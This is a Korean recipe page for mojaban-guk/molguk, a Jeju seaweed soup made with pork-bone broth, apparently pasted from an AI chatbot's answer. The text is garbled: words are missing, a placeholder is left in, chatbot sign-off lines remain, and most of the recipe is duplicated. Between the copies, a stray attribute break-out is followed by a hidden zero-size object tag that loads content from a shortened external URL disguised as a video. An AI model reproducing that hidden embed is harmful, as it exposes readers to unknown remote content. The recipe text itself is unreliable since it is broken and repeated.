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<div _ngcontent-ng-c1476202065="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:35">모자반국/몰국 끓이기: 제주 향토음식의 깊은 맛을 집에서!</h2><p data-sourcepos="3:1-3:129"><strong>모자반국</strong> 또는 <strong>몰국</strong>은 제주도 향토음식으로, 돼지뼈를 우려낸 육수에 모자반을 넣어 끓여낸 시원하고 구수한 국입니다. 쫄깃한 모자반과 깊은 육수의 조화가 일품이며, 몸에 좋은 영양소가 풍부하여 건강식으로도 손색없습니다.</p><h3 data-sourcepos="5:1-5:9">재료 준비</h3><ul data-sourcepos="7:1-9:0">
<li data-sourcepos="7:1-7:26"><strong>주재료:</strong> 돼지등뼈, 모자반, 메밀가루</li>
<li data-sourcepos="8:1-9:0"><strong>부재료:</strong> 대파, 다진 마늘, 다진 생강, 국간장, 소금</li>
</ul><p data-sourcepos="10:1-10:50"><strong>Tip:</strong> 모자반은 염분이 많으므로 찬물에 여러 번 헹궈 염분을 충분히 제거해주세요.</p><h3 data-sourcepos="12:1-12:7">레시피</h3><ol data-sourcepos="14:1-20:0">
<li data-sourcepos="14:1-14:97"><strong>돼지등뼈 삶기:</strong> 돼지등뼈를 찬물에 담가 핏물을 제거한 후 냄비에 넣고 물을 충분히 부어 끓여줍니다. 끓어오르면 잡내를 제거하기 위해 한 번 헹궈 다시 끓여줍니다.</li>
<li data-sourcepos="15:1-15:53"><strong>모자반 손질:</strong> 모자반을 찬물에 불려 부드럽게 만든 후 먹기 좋은 크기로 썰어줍니다.</li>
<li data-sourcepos="16:1-16:40"><strong>육수 만들기:</strong> 돼지등뼈를 푹 삶아 우러난 육수를 준비합니다.</li>
<li data-sourcepos="17:1-17:32"><strong>메밀가루 풀기:</strong> 찬물에 메밀가루를 풀어줍니다.</li>
<li data-sourcepos="18:1-18:81"><strong>국 끓이기:</strong> 냄비에 육수, 모자반, 메밀가루 풀은 물, 다진 마늘, 다진 생강을 넣고 끓여줍니다. 간은 국간장과 소금으로 맞춰줍니다.</li>
<li data-sourcepos="19:1-20:0"><strong>마무리:</strong> 어슷썬 대파를 넣고 한소끔 끓여주면 완성입니다.</li>
</ol><h3 data-sourcepos="21:1-21:5">팁</h3><ul data-sourcepos="23:1-26:0">
<li data-sourcepos="23:1-23:36"><strong>메밀가루:</strong> 메밀가루 대신 감자전분을 사용해도 좋습니다.</li>
<li data-sourcepos="24:1-24:44"><strong>채소:</strong> 배추, 양파 등 좋아하는 채소를 넣어 함께 끓여도 맛있습니다.</li>
<li data-sourcepos="25:1-26:0"><strong>기호에 따라:</strong> 고춧가루를 넣어 얼큰하게 끓여 먹을 수도 있습니다.</li>
</ul><h3 data-sourcepos="27:1-27:10"> 참고</h3><p data-sourcepos="29:1-29:11">[ 삽입 예시]</p><ul data-sourcepos="31:1-35:0">
<li data-sourcepos="31:1-31:13">모자반 손질하는 모습</li>
<li data-sourcepos="32:1-32:12">돼지등뼈 삶는 모습</li>
<li data-sourcepos="33:1-33:13">모자반국 끓이는 모습</li>
<li data-sourcepos="34:1-35:0">완성된 모자반국</li>
</ul><p data-sourcepos="36:1-36:68"><strong>구글 검색:</strong> "모자반국 만드는법" 또는 "몸국 레시피" 등으로 검색하면 다양한 를 참고할 수 있습니다.</p><h3 data-sourcepos="38:1-38:12">몰국과의 차이점</h3><p data-sourcepos="40:1-40:101">몰국은 모자반국과 비슷한 음식이지만, 지역에 따라 재료나 조리법에 약간의 차이가 있을 수 있습니다. 일반적으로 몰국은 모자반 외에도 다른 해초류를 함께 넣어 끓이는 경우가 많습니다.</p><p data-sourcepos="42:1-42:72"><strong>모자반국/몰국</strong>은 제주도의 깊은 바다 향을 느낄 수 있는 특별한 음식입니다. 집에서 간단하게 만들어 가족과 함께 즐겨보세요!</p><p data-sourcepos="44:1-44:29"><strong>더 궁금한 점이 있다면 언제든지 질문해주세요.</strong></p><ul data-sourcepos="46:1-47:0">
<li data-sourcepos="46:1-47:0"><strong>키워드:</strong> 모자반국, 몰국, 제주 향토음식, 끓이는 방법, 레시피, </li>
</ul><p data-sourcepos="48:1-48:60"><strong>참고:</strong> 위 레시피는 일반적인 조리법이며, 개인의 취향에 따라 재료나 양을 조절하여 만들 수 있습니다.</p><p data-sourcepos="50:1-50:64"><strong> 추가 요청 시, 구체적인 에 대한 설명을 해주시면 더욱 한 를 찾아드릴 수 있습니다.</strong></p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/b9ie" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
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<li data-sourcepos="7:1-7:26"><strong>주재료:</strong> 돼지등뼈, 모자반, 메밀가루</li>
<li data-sourcepos="8:1-9:0"><strong>부재료:</strong> 대파, 다진 마늘, 다진 생강, 국간장, 소금</li>
</ul><p data-sourcepos="10:1-10:50"><strong>Tip:</strong> 모자반은 염분이 많으므로 찬물에 여러 번 헹궈 염분을 충분히 제거해주세요.</p><h3 data-sourcepos="12:1-12:7">레시피</h3><ol data-sourcepos="14:1-20:0">
<li data-sourcepos="14:1-14:97"><strong>돼지등뼈 삶기:</strong> 돼지등뼈를 찬물에 담가 핏물을 제거한 후 냄비에 넣고 물을 충분히 부어 끓여줍니다. 끓어오르면 잡내를 제거하기 위해 한 번 헹궈 다시 끓여줍니다.</li>
<li data-sourcepos="15:1-15:53"><strong>모자반 손질:</strong> 모자반을 찬물에 불려 부드럽게 만든 후 먹기 좋은 크기로 썰어줍니다.</li>
<li data-sourcepos="16:1-16:40"><strong>육수 만들기:</strong> 돼지등뼈를 푹 삶아 우러난 육수를 준비합니다.</li>
<li data-sourcepos="17:1-17:32"><strong>메밀가루 풀기:</strong> 찬물에 메밀가루를 풀어줍니다.</li>
<li data-sourcepos="18:1-18:81"><strong>국 끓이기:</strong> 냄비에 육수, 모자반, 메밀가루 풀은 물, 다진 마늘, 다진 생강을 넣고 끓여줍니다. 간은 국간장과 소금으로 맞춰줍니다.</li>
<li data-sourcepos="19:1-20:0"><strong>마무리:</strong> 어슷썬 대파를 넣고 한소끔 끓여주면 완성입니다.</li>
</ol><h3 data-sourcepos="21:1-21:5">팁</h3><ul data-sourcepos="23:1-26:0">
<li data-sourcepos="23:1-23:36"><strong>메밀가루:</strong> 메밀가루 대신 감자전분을 사용해도 좋습니다.</li>
<li data-sourcepos="24:1-24:44"><strong>채소:</strong> 배추, 양파 등 좋아하는 채소를 넣어 함께 끓여도 맛있습니다.</li>
<li data-sourcepos="25:1-26:0"><strong>기호에 따라:</strong> 고춧가루를 넣어 얼큰하게 끓여 먹을 수도 있습니다.</li>
</ul><h3 data-sourcepos="27:1-27:10"> 참고</h3><p data-sourcepos="29:1-29:11">[ 삽입 예시]</p><ul data-sourcepos="31:1-35:0">
<li data-sourcepos="31:1-31:13">모자반 손질하는 모습</li>
<li data-sourcepos="32:1-32:12">돼지등뼈 삶는 모습</li>
<li data-sourcepos="33:1-33:13">모자반국 끓이는 모습</li>
<li data-sourcepos="34:1-35:0">완성된 모자반국</li>
</ul><p data-sourcepos="36:1-36:68"><strong>구글 검색:</strong> "모자반국 만드는법" 또는 "몸국 레시피" 등으로 검색하면 다양한 를 참고할 수 있습니다.</p><h3 data-sourcepos="38:1-38:12">몰국과의 차이점</h3><p data-sourcepos="40:1-40:101">몰국은 모자반국과 비슷한 음식이지만, 지역에 따라 재료나 조리법에 약간의 차이가 있을 수 있습니다. 일반적으로 몰국은 모자반 외에도 다른 해초류를 함께 넣어 끓이는 경우가 많습니다.</p><p data-sourcepos="42:1-42:72"><strong>모자반국/몰국</strong>은 제주도의 깊은 바다 향을 느낄 수 있는 특별한 음식입니다. 집에서 간단하게 만들어 가족과 함께 즐겨보세요!</p><p data-sourcepos="44:1-44:29"><strong>더 궁금한 점이 있다면 언제든지 질문해주세요.</strong></p><ul data-sourcepos="46:1-47:0">
<li data-sourcepos="46:1-47:0"><strong>키워드:</strong> 모자반국, 몰국, 제주 향토음식, 끓이는 방법, 레시피, </li>
</ul><p data-sourcepos="48:1-48:60"><strong>참고:</strong> 위 레시피는 일반적인 조리법이며, 개인의 취향에 따라 재료나 양을 조절하여 만들 수 있습니다.</p><p data-sourcepos="50:1-50:64"><strong> 추가 요청 시, 구체적인 에 대한 설명을 해주시면 더욱 한 를 찾아드릴 수 있습니다.</strong></p></div>
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